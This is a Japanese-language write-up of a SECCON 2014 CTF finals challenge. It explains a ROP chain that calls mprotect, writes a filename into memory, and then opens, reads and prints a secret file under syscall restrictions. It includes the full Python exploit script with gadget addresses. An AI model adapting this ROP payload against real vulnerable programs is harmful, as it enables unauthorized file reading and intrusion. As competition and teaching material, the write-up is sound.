SECCON 2014全国

Mr. Takedaで参加した。全体9位、日本チーム4位だった。
主に3つめのサーバーの問題を解いた。

解法 : ひたすらROP

syscallが制限されているためopen/read/writeするROPを書かなければならない。
openするファイル名の文字列は既知のアドレスに入れなければならないが、stackのアドレスはランダムであるため、ROP中で生成する必要がある(最初はファイル名がsecretなので*secretという.symstrから引っ張ってこようと思ったのだが、materialが全体をマッピングするのではなかったため利用できなかった。)
また、readのbufferはwritableである必要があるが、これも存在しないためROP中で生成する必要がある。

以上を踏まえて方針を立てる
mprotectは許可されたsyscallのため、これを最初に呼び出してMATERIAL_BASEADDRから0x1000byteをrwx権限とする(mmapはページ境界までメモリを確保するためMATERIAL_BASEADDRから利用する事ができる)。
MATERIAL_BASEADDRからsecretという文字列を書き込む。
MATERIAL_BASEADDR+0x10から256byte(secretlength)null埋めする。
open/read/writeする。

これに必要なROP gadgetはかなり少ない。
pop eax/ebx/ecx/edx
int 0x80
mov [reg1], reg2 ; mov [eax], ecxを使った。

popでレジスタに任意の値をセット出来る。
popと組み合わせてmov[reg1], reg2で任意のアドレスに任意の値を書き込むことが出来る。
popと組み合わせてsyscallをすることが出来る。

これは非常に汎用的で、arch00を解いた後はスムーズに全完すること出来た。
arch00 -> 全てのgadgetが存在する。
arch01 -> 全てのgadgetが存在する。
arch02 -> int 0x80が存在しない。int 0x80; pop ebp; pop edi; pop esi; pop ebx;で代用。
arch03 -> pop ecxが存在しない。pop ecx; pop edx;で代用。

arch03のexploit codeは以下

import struct
import sys

MATERIAL_BASEADDR	= 0x10000000
writable			= MATERIAL_BASEADDR + 0x10

pop_eax = 0x0002460f + MATERIAL_BASEADDR
pop_ebx = 0x000198ce + MATERIAL_BASEADDR
pop_ecx = 0x0002f706 + MATERIAL_BASEADDR
pop_ecx_pop_edx = 0x0002e33b + MATERIAL_BASEADDR
pop_edx = 0x00001aa2 + MATERIAL_BASEADDR
int80	= 0x0009f475 + MATERIAL_BASEADDR
int80_pop4 = 0x000ec351 + MATERIAL_BASEADDR
mov_peax_ecx = 0x0002db8f + MATERIAL_BASEADDR

count = 256

payload = ""

# mprotect
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 125)
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", MATERIAL_BASEADDR)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x1000)
payload += "JUNK"
payload += struct.pack("<I", pop_edx)
payload += struct.pack("<I", 0x7)
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

# implementation of memset 0
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x0)
payload += "JUNK"
for i in range(0, 256, 4):
	payload += struct.pack("<I", pop_eax)
	payload += struct.pack("<I", writable+i)
	payload += struct.pack("<I", mov_peax_ecx)

# "secret" write
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", MATERIAL_BASEADDR)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x72636573)
payload += "JUNK"
payload += struct.pack("<I", mov_peax_ecx)
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", MATERIAL_BASEADDR+4)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x7465)
payload += "JUNK"
payload += struct.pack("<I", mov_peax_ecx)

# open
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 0x5)
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", MATERIAL_BASEADDR)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x0)
payload += "JUNK"
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

fd = int(sys.argv[1]) # probably 0

# read
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", fd)
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 0x3)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", writable)
payload += "JUNK"
payload += struct.pack("<I", pop_edx)
payload += struct.pack("<I", count)
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

# write
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", 0x1)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", writable)
payload += "JUNK"
payload += struct.pack("<I", pop_edx)
payload += struct.pack("<I", count)
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

teamflag = sys.argv[2]
sys.stdout.write(struct.pack("<I", len(teamflag)))
sys.stdout.write(teamflag)

sys.stdout.write(struct.pack("<I", len(payload)))
sys.stdout.write(payload)